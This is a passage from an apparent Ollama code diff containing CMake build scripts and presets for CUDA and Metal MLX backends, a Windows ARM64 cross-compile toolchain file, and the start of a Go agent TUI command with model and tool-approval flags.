PRESET ${_cuda_preset}
RUNNER_DIR ${_backend}
TARGETS ggml-cuda
CMAKE_ARGS ${_cuda_args})
list(APPEND _backend_targets ollama-llama-server-${_backend})
elseif(_backend STREQUAL "cuda_jetpack6")
if(CMAKE_CUDA_ARCHITECTURES)
set(_cuda_preset llama_cuda_jetpack6_user_arch)
else()
set(_cuda_preset llama_cuda_jetpack6)
endif()
set(_cuda_args)
ollama_append_cache_arg_if_set(_cuda_args CMAKE_CUDA_ARCHITECTURES)
ollama_append_cache_arg_if_set(_cuda_args CMAKE_CUDA_FLAGS)
ollama_add_llama_server_build(${_backend}
PRESET ${_cuda_preset}
RUNNER_DIR ${_backend}
TARGETS ggml-cuda
CMAKE_ARGS ${_cuda_args})
list(APPEND _backend_targets ollama-llama-server-${_backend})
else()
message(FATAL_ERROR
"Unknown OLLAMA_LLAMA_BACKENDS entry '${_backend}'")
endif()
endforeach()
endif()
if(_backend_targets)
add_custom_target(ollama-llama-server-backends ALL
DEPENDS ${_backend_targets}
COMMENT "Building llama-server GPU backends")
endif()
set(_mlx_targets)
foreach(_backend IN LISTS OLLAMA_MLX_BACKENDS)
if(_backend STREQUAL "cuda_v13")
ollama_mlx_cuda_preset(_mlx_cuda_preset)
set(_mlx_cuda_args)
ollama_append_cache_arg_if_set(_mlx_cuda_args CMAKE_CUDA_ARCHITECTURES)
ollama_append_cache_arg_if_set(_mlx_cuda_args MLX_CUDA_ARCHITECTURES)
ollama_append_cache_arg_if_set(_mlx_cuda_args CMAKE_CUDA_FLAGS)
ollama_add_mlx_build(cuda_v13
PRESET ${_mlx_cuda_preset}
RUNNER_DIR mlx_cuda_v13
CMAKE_ARGS ${_mlx_cuda_args})
list(APPEND _mlx_targets ollama-mlx-cuda_v13)
elseif(_backend STREQUAL "metal_v3")
if(NOT APPLE)
message(FATAL_ERROR "OLLAMA_MLX_BACKENDS=metal_v3 is only supported on macOS")
endif()
ollama_check_metal_toolchain(_metal_version)
ollama_add_mlx_build(metal_v3
PRESET mlx_metal_v3
RUNNER_DIR mlx_metal_v3)
list(APPEND _mlx_targets ollama-mlx-metal_v3)
elseif(_backend STREQUAL "metal_v4")
if(NOT APPLE)
message(FATAL_ERROR "OLLAMA_MLX_BACKENDS=metal_v4 is only supported on macOS")
endif()
ollama_check_metal_toolchain(_metal_version)
ollama_macos_sdk_major_version(_ollama_mlx_sdk_major)
if(_ollama_mlx_sdk_major
AND _ollama_mlx_sdk_major VERSION_GREATER_EQUAL 26.2)
ollama_add_mlx_build(metal_v4
PRESET mlx_metal_v4
RUNNER_DIR mlx_metal_v4)
list(APPEND _mlx_targets ollama-mlx-metal_v4)
else()
message(FATAL_ERROR
"OLLAMA_MLX_BACKENDS=metal_v4 requires the macOS 26.2 SDK. "
"Install a newer Xcode or use OLLAMA_MLX_BACKENDS=metal_v3.")
endif()
else()
message(FATAL_ERROR
"Unknown OLLAMA_MLX_BACKENDS entry '${_backend}'")
endif()
endforeach()
if(_mlx_targets)
add_custom_target(ollama-mlx-backends ALL
DEPENDS ${_mlx_targets}
COMMENT "Building MLX backends")
endif()
install(DIRECTORY "${OLLAMA_PAYLOAD_INSTALL_PREFIX}/${OLLAMA_LIB_DIR}/"
DESTINATION "${OLLAMA_LIB_DIR}"
COMPONENT ollama-local
USE_SOURCE_PERMISSIONS)
+318
View File
@@ -0,0 +1,318 @@
cmake_minimum_required(VERSION 3.24)
project(OllamaMLX C CXX)
include(CheckLanguage)
include(GNUInstallDirs)
find_package(Threads REQUIRED)
if(NOT CMAKE_CONFIGURATION_TYPES AND NOT CMAKE_BUILD_TYPE)
set(CMAKE_BUILD_TYPE Release CACHE STRING "Build type" FORCE)
endif()
if(NOT DEFINED BUILD_SHARED_LIBS)
set(BUILD_SHARED_LIBS ON)
endif()
set(CMAKE_CXX_STANDARD 17)
set(CMAKE_CXX_STANDARD_REQUIRED ON)
set(CMAKE_CXX_EXTENSIONS ON)
if(APPLE)
set(CMAKE_BUILD_RPATH "@loader_path")
set(CMAKE_INSTALL_RPATH "@loader_path")
set(CMAKE_BUILD_WITH_INSTALL_RPATH ON)
endif()
if(NOT DEFINED OLLAMA_SOURCE_DIR OR "${OLLAMA_SOURCE_DIR}" STREQUAL "")
get_filename_component(OLLAMA_SOURCE_DIR "${CMAKE_CURRENT_LIST_DIR}/../.." ABSOLUTE)
endif()
get_filename_component(OLLAMA_SOURCE_DIR "${OLLAMA_SOURCE_DIR}" ABSOLUTE BASE_DIR "${CMAKE_CURRENT_LIST_DIR}")
set(OLLAMA_SOURCE_DIR "${OLLAMA_SOURCE_DIR}" CACHE PATH "Ollama repository root")
set(OLLAMA_LIB_DIR "lib/ollama" CACHE STRING "Install destination for Ollama runtime payloads")
set(OLLAMA_RUNNER_DIR "" CACHE STRING "Ollama runtime payload subdirectory")
set(OLLAMA_BUILD_DIR ${CMAKE_BINARY_DIR}/lib/ollama)
set(OLLAMA_INSTALL_DIR ${OLLAMA_LIB_DIR}/${OLLAMA_RUNNER_DIR})
set(CMAKE_RUNTIME_OUTPUT_DIRECTORY ${OLLAMA_BUILD_DIR})
set(CMAKE_RUNTIME_OUTPUT_DIRECTORY_DEBUG ${OLLAMA_BUILD_DIR})
set(CMAKE_RUNTIME_OUTPUT_DIRECTORY_RELEASE ${OLLAMA_BUILD_DIR})
set(CMAKE_LIBRARY_OUTPUT_DIRECTORY ${OLLAMA_BUILD_DIR})
set(CMAKE_LIBRARY_OUTPUT_DIRECTORY_DEBUG ${OLLAMA_BUILD_DIR})
set(CMAKE_LIBRARY_OUTPUT_DIRECTORY_RELEASE ${OLLAMA_BUILD_DIR})
if(MLX_CUDA_ARCHITECTURES OR CMAKE_CUDA_ARCHITECTURES)
check_language(CUDA)
endif()
option(OLLAMA_MLX_GENERATE_WRAPPERS "Regenerate MLX Go wrappers" OFF)
message(STATUS "Setting up MLX (this takes a while...)")
add_subdirectory(${OLLAMA_SOURCE_DIR}/x/imagegen/mlx ${CMAKE_BINARY_DIR}/x/imagegen/mlx)
# Find CUDA toolkit if MLX is built with CUDA support.
find_package(CUDAToolkit)
# Build list of directories for runtime dependency resolution.
set(MLX_RUNTIME_DIRS ${CUDAToolkit_BIN_DIR} ${CUDAToolkit_BIN_DIR}/x64 ${CUDAToolkit_LIBRARY_DIR})
# Add cuDNN bin paths for DLLs (Windows MLX CUDA builds).
# CUDNN_ROOT_DIR is the standard CMake variable for cuDNN location.
if(CUDNN_ROOT_DIR)
set(_cudnn_root "${CUDNN_ROOT_DIR}")
elseif(DEFINED ENV{CUDNN_ROOT_DIR})
set(_cudnn_root "$ENV{CUDNN_ROOT_DIR}")
endif()
if(_cudnn_root)
# cuDNN 9.x has versioned subdirectories under bin/ (e.g., bin/13.0/).
file(GLOB CUDNN_BIN_SUBDIRS "${_cudnn_root}/bin/*")
list(APPEND MLX_RUNTIME_DIRS ${CUDNN_BIN_SUBDIRS})
endif()
# Add build output directory and MLX dependency build directories.
list(APPEND MLX_RUNTIME_DIRS ${OLLAMA_BUILD_DIR})
# OpenBLAS DLL location (pre-built zip extracts into openblas-src/bin/).
list(APPEND MLX_RUNTIME_DIRS ${CMAKE_BINARY_DIR}/_deps/openblas-src/bin)
# NCCL: on Linux, if real NCCL is found, cmake bundles libnccl.so via the
# regex below. If NCCL is not found, MLX links a static stub (OBJECT lib)
# so there is no runtime dependency. This path covers the stub build dir
# for windows so we include the DLL in our dependencies.
list(APPEND MLX_RUNTIME_DIRS ${CMAKE_BINARY_DIR}/_deps/mlx-build/mlx/distributed/nccl/nccl_stub-prefix/src/nccl_stub-build/Release)
# Base regexes for runtime dependencies (cross-platform).
set(MLX_INCLUDE_REGEXES cublas cublasLt cudart cufft nvrtc nvrtc-builtins cudnn nccl openblas gfortran)
# On Windows, also include dl.dll (dlfcn-win32 POSIX emulation layer).
if(WIN32)
list(APPEND MLX_INCLUDE_REGEXES "^dl\\.dll$")
endif()
# Keep mlx/mlxc targets separate from runtime dependencies so --strip only
# applies to the binaries we build, not vendor DLLs/libs.
install(TARGETS mlx mlxc
RUNTIME_DEPENDENCY_SET mlx_runtime_deps
RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
FRAMEWORK DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
)
install(RUNTIME_DEPENDENCY_SET mlx_runtime_deps
DIRECTORIES ${MLX_RUNTIME_DIRS}
PRE_INCLUDE_REGEXES ${MLX_INCLUDE_REGEXES}
PRE_EXCLUDE_REGEXES ".*"
RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX_VENDOR
LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX_VENDOR
)
get_target_property(_MLX_LINK_LIBRARIES mlx LINK_LIBRARIES)
if(TARGET jaccl AND "jaccl" IN_LIST _MLX_LINK_LIBRARIES)
install(TARGETS jaccl
RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
FRAMEWORK DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
)
endif()
# Install the Metal library for macOS arm64 (must be colocated with the binary).
# Metal backend is only built for arm64, not x86_64.
if(APPLE AND CMAKE_SYSTEM_PROCESSOR STREQUAL "arm64")
install(FILES ${CMAKE_BINARY_DIR}/_deps/mlx-build/mlx/backend/metal/kernels/mlx.metallib
DESTINATION ${OLLAMA_INSTALL_DIR}
COMPONENT MLX)
endif()
# Install headers for NVRTC JIT compilation at runtime.
# MLX's own install rules use the default component so they get skipped by
# --component MLX. Headers are installed alongside libmlx in OLLAMA_INSTALL_DIR.
#
# Layout:
# ${OLLAMA_INSTALL_DIR}/include/cccl/ - CCCL headers
# ${OLLAMA_INSTALL_DIR}/include/{cute,cutlass}/ - CUTLASS/CUTE headers
# ${OLLAMA_INSTALL_DIR}/include/ - CUDA runtime/core headers
#
# MLX's jit_module.cpp resolves JIT support headers from the backend-local
# include directory. On Linux it also probes current_binary_dir().parent_path()
# / "include", so we create a symlink from lib/ollama/include to the backend
# include directory for archive packaging.
# This will need refinement if we add multiple CUDA versions for MLX in the future.
# CUDA runtime headers are found via CUDA_PATH env var (set by mlxrunner).
set(_mlx_jit_cccl_include_dir "")
if(CUDAToolkit_FOUND)
foreach(_dir ${CUDAToolkit_INCLUDE_DIRS})
if(EXISTS "${_dir}/cccl/cuda/std")
set(_mlx_jit_cccl_include_dir "${_dir}/cccl")
break()
endif()
endforeach()
endif()
if(NOT _mlx_jit_cccl_include_dir AND EXISTS ${CMAKE_BINARY_DIR}/_deps/cccl-src/include/cuda)
set(_mlx_jit_cccl_include_dir "${CMAKE_BINARY_DIR}/_deps/cccl-src/include")
endif()
if(_mlx_jit_cccl_include_dir)
foreach(_cccl_dir cuda nv cub thrust)
if(EXISTS "${_mlx_jit_cccl_include_dir}/${_cccl_dir}")
install(DIRECTORY "${_mlx_jit_cccl_include_dir}/${_cccl_dir}"
DESTINATION ${OLLAMA_INSTALL_DIR}/include/cccl
COMPONENT MLX)
endif()
endforeach()
endif()
if(EXISTS ${CMAKE_BINARY_DIR}/_deps/cutlass-src/include/cute)
install(DIRECTORY ${CMAKE_BINARY_DIR}/_deps/cutlass-src/include/cute
DESTINATION ${OLLAMA_INSTALL_DIR}/include
COMPONENT MLX)
install(DIRECTORY ${CMAKE_BINARY_DIR}/_deps/cutlass-src/include/cutlass
DESTINATION ${OLLAMA_INSTALL_DIR}/include
COMPONENT MLX)
endif()
# Install CUDA runtime/core headers needed by MLX JIT kernels.
# NVIDIA's NVRTC bundled-header model is CUDA Runtime + CCCL, not the entire
# toolkit include tree. Keep CCCL coherent above, include CUTLASS/CUTE above,
# and avoid shipping unrelated SDK headers such as NPP, CUPTI, cuRAND, NVML,
# cuBLAS, cuSPARSE, and cuSOLVER.
# The Go mlxrunner sets CUDA_PATH to OLLAMA_INSTALL_DIR so MLX finds them at
# $CUDA_PATH/include via NVRTC --include-path.
if(CUDAToolkit_FOUND)
# CUDAToolkit_INCLUDE_DIRS may be a semicolon-separated list
# (e.g. ".../include;.../include/cccl"). Find the entry that
# contains the CUDA runtime headers we need.
set(_cuda_inc "")
foreach(_dir ${CUDAToolkit_INCLUDE_DIRS})
if(EXISTS "${_dir}/cuda_runtime_api.h")
set(_cuda_inc "${_dir}")
break()
endif()
endforeach()
if(NOT _cuda_inc)
message(WARNING "Could not find cuda_runtime_api.h in CUDAToolkit_INCLUDE_DIRS: ${CUDAToolkit_INCLUDE_DIRS}")
else()
set(_dst "${OLLAMA_INSTALL_DIR}/include")
set(_mlx_jit_cuda_headers
builtin_types.h
channel_descriptor.h
common_functions.h
cooperative_groups.h
cuComplex.h
cuda.h
cudaTypedefs.h
cuda_awbarrier.h
cuda_awbarrier_helpers.h
cuda_awbarrier_primitives.h
cuda_bf16.h
cuda_bf16.hpp
cuda_device_runtime_api.h
cuda_fp4.h
cuda_fp4.hpp
cuda_fp6.h
cuda_fp6.hpp
cuda_fp8.h
cuda_fp8.hpp
cuda_fp16.h
cuda_fp16.hpp
cuda_occupancy.h
cuda_pipeline.h
cuda_pipeline_helpers.h
cuda_pipeline_primitives.h
cuda_runtime.h
cuda_runtime_api.h
cuda_stdint.h
cudart_platform.h
device_atomic_functions.h
device_atomic_functions.hpp
device_double_functions.h
device_functions.h
device_launch_parameters.h
device_types.h
driver_functions.h
driver_types.h
fatbinary_section.h
host_config.h
host_defines.h
library_types.h
math_constants.h
math_functions.h
mma.h
nvrtc_device_runtime.h
sm_20_atomic_functions.h
sm_20_atomic_functions.hpp
sm_20_intrinsics.h
sm_20_intrinsics.hpp
sm_30_intrinsics.h
sm_30_intrinsics.hpp
sm_32_atomic_functions.h
sm_32_atomic_functions.hpp
sm_32_intrinsics.h
sm_32_intrinsics.hpp
sm_35_atomic_functions.h
sm_35_intrinsics.h
sm_60_atomic_functions.h
sm_60_atomic_functions.hpp
sm_61_intrinsics.h
sm_61_intrinsics.hpp
surface_indirect_functions.h
surface_types.h
target
texture_indirect_functions.h
texture_types.h
vector_functions.h
vector_functions.hpp
vector_types.h)
set(_mlx_jit_cuda_header_paths "")
foreach(_header IN LISTS _mlx_jit_cuda_headers)
if(EXISTS "${_cuda_inc}/${_header}")
list(APPEND _mlx_jit_cuda_header_paths "${_cuda_inc}/${_header}")
endif()
endforeach()
if(_mlx_jit_cuda_header_paths)
install(FILES ${_mlx_jit_cuda_header_paths}
DESTINATION ${_dst}
COMPONENT MLX)
endif()
foreach(_runtime_dir cooperative_groups crt)
if(EXISTS "${_cuda_inc}/${_runtime_dir}")
install(DIRECTORY "${_cuda_inc}/${_runtime_dir}"
DESTINATION ${_dst}
COMPONENT MLX)
endif()
endforeach()
if(NOT WIN32 AND NOT APPLE)
install(CODE "
set(_link \"${CMAKE_INSTALL_PREFIX}/${OLLAMA_LIB_DIR}/include\")
set(_target \"${OLLAMA_RUNNER_DIR}/include\")
if(NOT EXISTS \${_link})
execute_process(COMMAND \${CMAKE_COMMAND} -E create_symlink \${_target} \${_link})
endif()
" COMPONENT MLX)
endif()
endif()
endif()
# On Windows, explicitly install dl.dll (dlfcn-win32 POSIX dlopen emulation).
# RUNTIME_DEPENDENCIES auto-excludes it via POST_EXCLUDE_FILES_STRICT because
# dlfcn-win32 is a known CMake target with its own install rules (which install
# to the wrong destination). We must install it explicitly here.
if(WIN32)
install(FILES ${OLLAMA_BUILD_DIR}/dl.dll
DESTINATION ${OLLAMA_INSTALL_DIR}
COMPONENT MLX)
endif()
# Manually install CUDA runtime libraries that MLX loads via dlopen
# (not detected by RUNTIME_DEPENDENCIES since they aren't link-time deps).
if(CUDAToolkit_FOUND)
file(GLOB MLX_CUDA_LIBS
"${CUDAToolkit_LIBRARY_DIR}/libcudart.so*"
"${CUDAToolkit_LIBRARY_DIR}/libcublas.so*"
"${CUDAToolkit_LIBRARY_DIR}/libcublasLt.so*"
"${CUDAToolkit_LIBRARY_DIR}/libnvrtc.so*"
"${CUDAToolkit_LIBRARY_DIR}/libnvrtc-builtins.so*"
"${CUDAToolkit_LIBRARY_DIR}/libcufft.so*"
"${CUDAToolkit_LIBRARY_DIR}/libcudnn.so*")
if(MLX_CUDA_LIBS)
install(FILES ${MLX_CUDA_LIBS}
DESTINATION ${OLLAMA_INSTALL_DIR}
COMPONENT MLX_VENDOR)
endif()
endif()
+90
View File
@@ -0,0 +1,90 @@
{
"version": 3,
"configurePresets": [
{
"name": "default",
"binaryDir": "${sourceDir}/../../build/mlx",
"installDir": "${sourceDir}/../../dist",
"cacheVariables": {
"CMAKE_BUILD_TYPE": "Release",
"CMAKE_MSVC_RUNTIME_LIBRARY": "MultiThreaded",
"OLLAMA_SOURCE_DIR": "${sourceDir}/../.."
}
},
{
"name": "mlx_cuda_v13_base",
"hidden": true,
"inherits": [ "default" ],
"cacheVariables": {
"CMAKE_CUDA_FLAGS": "-t 2",
"OLLAMA_RUNNER_DIR": "mlx_cuda_v13"
}
},
{
"name": "mlx_cuda_v13_linux",
"inherits": [ "mlx_cuda_v13_base" ],
"binaryDir": "${sourceDir}/../../build/mlx_cuda_v13",
"cacheVariables": {
"MLX_CUDA_ARCHITECTURES": "75-virtual;80-virtual;86-virtual;89-virtual;90-virtual;90a-virtual;100-virtual;103-virtual;110-virtual;120-virtual;121-virtual"
}
},
{
"name": "mlx_cuda_v13_windows",
"inherits": [ "mlx_cuda_v13_base" ],
"binaryDir": "${sourceDir}/../../build/mlx_cuda_v13",
"cacheVariables": {
"MLX_CUDA_ARCHITECTURES": "75-virtual;80-virtual;86-virtual;89-virtual;90-virtual;90a-virtual;100-virtual;103-virtual;110-virtual;120-virtual;121-virtual"
}
},
{
"name": "mlx_cuda_v13_user_arch",
"inherits": [ "mlx_cuda_v13_base" ],
"binaryDir": "${sourceDir}/../../build/mlx_cuda_v13"
},
{
"name": "mlx_metal_v3",
"inherits": [ "default" ],
"binaryDir": "${sourceDir}/../../build/metal-v3",
"cacheVariables": {
"CMAKE_OSX_DEPLOYMENT_TARGET": "14.0",
"OLLAMA_RUNNER_DIR": "mlx_metal_v3"
}
},
{
"name": "mlx_metal_v4",
"inherits": [ "default" ],
"binaryDir": "${sourceDir}/../../build/metal-v4",
"cacheVariables": {
"CMAKE_OSX_DEPLOYMENT_TARGET": "26.2",
"OLLAMA_RUNNER_DIR": "mlx_metal_v4"
}
}
],
"buildPresets": [
{
"name": "mlx_cuda_v13_linux",
"configurePreset": "mlx_cuda_v13_linux",
"targets": [ "mlx", "mlxc" ]
},
{
"name": "mlx_cuda_v13_windows",
"configurePreset": "mlx_cuda_v13_windows",
"targets": [ "mlx", "mlxc" ]
},
{
"name": "mlx_cuda_v13_user_arch",
"configurePreset": "mlx_cuda_v13_user_arch",
"targets": [ "mlx", "mlxc" ]
},
{
"name": "mlx_metal_v3",
"configurePreset": "mlx_metal_v3",
"targets": [ "mlx", "mlxc" ]
},
{
"name": "mlx_metal_v4",
"configurePreset": "mlx_metal_v4",
"targets": [ "mlx", "mlxc" ]
}
]
}
+14
View File
@@ -0,0 +1,14 @@
if(NOT DEFINED MLX_C_HEADERS_DIR OR NOT IS_DIRECTORY "${MLX_C_HEADERS_DIR}")
message(FATAL_ERROR "MLX_C_HEADERS_DIR does not exist: ${MLX_C_HEADERS_DIR}")
endif()
if(NOT DEFINED MLX_C_HEADERS_DEST OR "${MLX_C_HEADERS_DEST}" STREQUAL "")
message(FATAL_ERROR "MLX_C_HEADERS_DEST is required")
endif()
file(GLOB _mlx_c_headers LIST_DIRECTORIES false "${MLX_C_HEADERS_DIR}/*.h")
if(NOT _mlx_c_headers)
message(FATAL_ERROR "No MLX-C headers found in ${MLX_C_HEADERS_DIR}")
endif()
file(MAKE_DIRECTORY "${MLX_C_HEADERS_DEST}")
file(COPY ${_mlx_c_headers} DESTINATION "${MLX_C_HEADERS_DEST}")
+69
View File
@@ -0,0 +1,69 @@
set(CMAKE_SYSTEM_NAME Windows)
set(CMAKE_SYSTEM_PROCESSOR ARM64)
set(_ollama_llvm_mingw_hints)
if(DEFINED ENV{ProgramFiles})
file(GLOB _ollama_program_files_llvm_mingw_bins
LIST_DIRECTORIES true
"$ENV{ProgramFiles}/llvm-mingw-*-x86_64*/bin")
list(SORT _ollama_program_files_llvm_mingw_bins COMPARE NATURAL ORDER DESCENDING)
list(APPEND _ollama_llvm_mingw_hints ${_ollama_program_files_llvm_mingw_bins})
endif()
if(DEFINED ENV{LOCALAPPDATA})
file(GLOB _ollama_winget_llvm_mingw_bins
LIST_DIRECTORIES true
"$ENV{LOCALAPPDATA}/Microsoft/WinGet/Packages/MartinStorsjo.LLVM-MinGW*/llvm-mingw-*-x86_64*/bin")
list(SORT _ollama_winget_llvm_mingw_bins COMPARE NATURAL ORDER DESCENDING)
list(APPEND _ollama_llvm_mingw_hints ${_ollama_winget_llvm_mingw_bins})
endif()
if(NOT CMAKE_C_COMPILER)
find_program(CMAKE_C_COMPILER
NAMES aarch64-w64-mingw32-gcc
HINTS ${_ollama_llvm_mingw_hints}
REQUIRED)
endif()
if(NOT CMAKE_CXX_COMPILER)
find_program(CMAKE_CXX_COMPILER
NAMES aarch64-w64-mingw32-g++
HINTS ${_ollama_llvm_mingw_hints}
REQUIRED)
endif()
get_filename_component(_ollama_llvm_mingw_bin_dir "${CMAKE_CXX_COMPILER}" DIRECTORY)
if(NOT HOST_CXX_COMPILER)
find_program(_ollama_path_host_cxx
NAMES clang++ g++
NO_CMAKE_FIND_ROOT_PATH)
if(_ollama_path_host_cxx)
set(HOST_CXX_COMPILER "${_ollama_path_host_cxx}")
endif()
endif()
if(NOT HOST_CXX_COMPILER)
find_program(_ollama_mingw_host_cxx
NAMES x86_64-w64-mingw32-g++
HINTS "${_ollama_llvm_mingw_bin_dir}"
REQUIRED)
if(CMAKE_HOST_WIN32)
# llama.cpp builds a small host-only UI embedding tool during
# cross-compiles, but currently models HOST_CXX_COMPILER as only an
# executable path and has no companion host flags hook. When the host
# compiler is llvm-mingw, the generated host tool otherwise depends on
# llvm-mingw runtime DLLs being on PATH. Keep that workaround local and
# explicit: wrap the compiler only to add -static for this host tool.
set(_ollama_host_cxx_wrapper "${CMAKE_BINARY_DIR}/ollama-host-cxx.cmd")
file(TO_NATIVE_PATH "${_ollama_mingw_host_cxx}" _ollama_mingw_host_cxx_native)
file(WRITE "${_ollama_host_cxx_wrapper}"
"@echo off\r\n"
"\"${_ollama_mingw_host_cxx_native}\" -static %*\r\n")
set(HOST_CXX_COMPILER "${_ollama_host_cxx_wrapper}")
else()
set(HOST_CXX_COMPILER "${_ollama_mingw_host_cxx}")
endif()
endif()
set(HOST_CXX_COMPILER "${HOST_CXX_COMPILER}" CACHE FILEPATH "Host C++ compiler for build-time tools" FORCE)
string(PREPEND CMAKE_C_FLAGS_INIT "-D_WIN32_WINNT=0x0A00 ")
string(PREPEND CMAKE_CXX_FLAGS_INIT "-D_WIN32_WINNT=0x0A00 ")
+863
View File
@@ -0,0 +1,863 @@
package cmd
import (
"context"
"errors"
"fmt"
"net/http"
"os"
"runtime"
"slices"
"strconv"
"strings"
"time"
"github.com/spf13/cobra"
coreagent "github.com/ollama/ollama/agent"
agenttools "github.com/ollama/ollama/agent/tools"
"github.com/ollama/ollama/api"
"github.com/ollama/ollama/cmd/config"
"github.com/ollama/ollama/cmd/launch"
agentchat "github.com/ollama/ollama/cmd/tui/chat"
"github.com/ollama/ollama/format"
internalcloud "github.com/ollama/ollama/internal/cloud"
"github.com/ollama/ollama/internal/modelref"
"github.com/ollama/ollama/types/model"
)
type agentTUIOptions struct {
Model string
OpenModelPicker bool
System string
Format string
Options map[string]any
Think *api.ThinkValue
KeepAlive *api.Duration
ContextWindowTokens int
AllowAllTools bool
ToolsDisabled bool
MultiModal bool
}
func registerAgentFlags(cmd *cobra.Command) {
cmd.Flags().String("model", "", "Model to use")
cmd.Flags().String("keepalive", "", "Duration to keep a model loaded (e.g. 5m)")
cmd.Flags().String("format", "", "Response format (e.g. json)")
cmd.Flags().String("think", "", "Enable thinking mode: true/false or high/medium/low for supported models")
cmd.Flags().Lookup("think").NoOptDefVal = "true"
cmd.Flags().Bool("auto-approve-tools", false, "Allow agent tools to run without prompting")
cmd.Flags().Bool("yolo", false, "Alias for --auto-approve-tools")
cmd.Flags().Bool("no-tools", false, "Disable agent tools")
}
func AgentHandler(cmd *cobra.Command, _ []string) error {
opts := agentTUIOptions{
Model: strings.TrimSpace(config.LastModel()),
Options: map[string]any{},
}
thinkExplicit, err := applyAgentFlags(cmd, &opts)
if err != nil {
return err
}
if strings.TrimSpace(opts.Model) == "" {
opts.OpenModelPicker = true
} else if cmd.Flags().Lookup("model") == nil || !cmd.Flags().Lookup("model").Changed {
opts.OpenModelPicker = true
}
client, err := api.ClientFromEnvironment()
if err != nil {
return err
}
if opts.OpenModelPicker {
modelName, err := selectAgentModel(cmd.Context(), client, opts.Model)
if errors.Is(err, launch.ErrCancelled) {
return nil
}
if err != nil {
return err
}
opts.Model = modelName
opts.OpenModelPicker = false
}
if strings.TrimSpace(opts.Model) != "" {
info, err := prepareAgentModel(cmd, client, &opts, thinkExplicit)
if err != nil {
if handleCloudAuthorizationError(err) {
return nil
}
return err
}
opts.System = info.System
if err := saveLastAgentModel(opts.Model); err != nil {
return err
}
}
if err := GenerateAgentTUI(cmd, client, opts); err != nil {
if handleCloudAuthorizationError(err) {
return nil
}
return fmt.Errorf("error running agent: %w", err)
}
return nil
}
func applyAgentFlags(cmd *cobra.Command, opts *agentTUIOptions) (bool, error) {
if flag := cmd.Flags().Lookup("model"); flag != nil && flag.Changed {
modelName, err := cmd.Flags().GetString("model")
if err != nil {
return false, err
}
modelName = strings.TrimSpace(modelName)
if modelName == "" {
return false, errors.New("--model cannot be empty")
}
opts.Model = modelName
opts.OpenModelPicker = false
}
format, err := cmd.Flags().GetString("format")
if err != nil {
return false, err
}
opts.Format = format
thinkExplicit := false
thinkFlag := cmd.Flags().Lookup("think")
if thinkFlag != nil && thinkFlag.Changed {
thinkExplicit = true
thinkStr, err := cmd.Flags().GetString("think")
if err != nil {
return false, err
}
switch thinkStr {
case "", "true":
opts.Think = &api.ThinkValue{Value: true}
case "false":
opts.Think = &api.ThinkValue{Value: false}
case "high", "medium", "low", "max":
opts.Think = &api.ThinkValue{Value: thinkStr}
default:
return false, fmt.Errorf("invalid value for --think: %q (must be true, false, high, medium, low, or max)", thinkStr)
}
}
keepAlive, err := cmd.Flags().GetString("keepalive")
if err != nil {
return false, err
}
if keepAlive != "" {
d, err := time.ParseDuration(keepAlive)
if err != nil {
return false, err
}
opts.KeepAlive = &api.Duration{Duration: d}
}
autoApprove, err := cmd.Flags().GetBool("auto-approve-tools")
if err != nil {
return false, err
}
yolo, err := cmd.Flags().GetBool("yolo")
if err != nil {
return false, err
}
opts.AllowAllTools = autoApprove || yolo
toolsDisabled, err := cmd.Flags().GetBool("no-tools")
if err != nil {
return false, err
}
opts.ToolsDisabled = toolsDisabled
return thinkExplicit, nil
}
func saveLastAgentModel(model string) error {
model = strings.TrimSpace(model)
if model == "" {
return nil
}
return config.SetLastModel(model)
}
func prepareAgentModel(cmd *cobra.Command, client *api.Client, opts *agentTUIOptions, thinkExplicit bool) (*api.ShowResponse, error) {
requestedCloud := modelref.HasExplicitCloudSource(opts.Model)
info, err := func() (*api.ShowResponse, error) {
info, err := client.Show(cmd.Context(), &api.ShowRequest{Model: opts.Model})
var se api.StatusError
if errors.As(err, &se) && se.StatusCode == http.StatusNotFound {
if requestedCloud {
return nil, err
}
if err := PullHandler(cmd, []string{opts.Model}); err != nil {
return nil, err
}
return client.Show(cmd.Context(), &api.ShowRequest{Model: opts.Model})
}
return info, err
}()
if err != nil {
return nil, err
}
ensureCloudStub(cmd.Context(), client, opts.Model)
opts.Think, err = inferThinkingOption(&info.Capabilities, &runOptions{Model: opts.Model, Think: opts.Think}, thinkExplicit)
if err != nil {
return nil, err
}
opts.MultiModal = showResponseSupportsMultimodal(info)
opts.ContextWindowTokens = showResponseContextWindow(info)
return info, nil
}
func GenerateAgentTUI(cmd *cobra.Command, client *api.Client, opts agentTUIOptions) error {
cwd := agentWorkingDir()
contextWindowForModel := func(ctx context.Context, model string, fallback int) int {
return agentContextWindowForModel(ctx, client, model, fallback)
}
skillCatalog, err := coreagent.LoadDefaultSkills(cwd)
if err != nil {
return fmt.Errorf("load agent skills: %w", err)
}
for _, diagnostic := range skillCatalog.Diagnostics() {
fmt.Fprintf(os.Stderr, "\033[1mwarning:\033[0m ignored invalid agent skill: %v\n", diagnostic)
}
var registry *coreagent.Registry
registryForModel := func(ctx context.Context, model string) *coreagent.Registry {
return agentToolsRegistry(ctx, client, model, skillCatalog)
}
if opts.Model != "" {
registry = agentToolsRegistry(cmd.Context(), client, opts.Model, skillCatalog)
}
systemPrompt := agentSystemPromptWithWorkingDir(opts.Model, opts.System, agentSkillSystemContext(skillCatalog, registry, opts.ToolsDisabled), cwd)
_, err = agentchat.Run(cmd.Context(), agentchat.Options{
Model: opts.Model,
Client: client,
Tools: registry,
ToolRegistryForModel: registryForModel,
ToolsDisabled: opts.ToolsDisabled,
MultiModalForModel: func(ctx context.Context, model string) bool {
return agentModelSupportsMultimodal(ctx, client, model)
},
ModelOptions: func(ctx context.Context) ([]agentchat.ModelOption, error) {
return agentModelOptions(ctx, client)
},
OnModelSelected: func(_ context.Context, model string) error {
return config.SetLastModel(model)
},
SystemPromptForModel: func(ctx context.Context, model string, registry *coreagent.Registry, toolsDisabled bool) string {
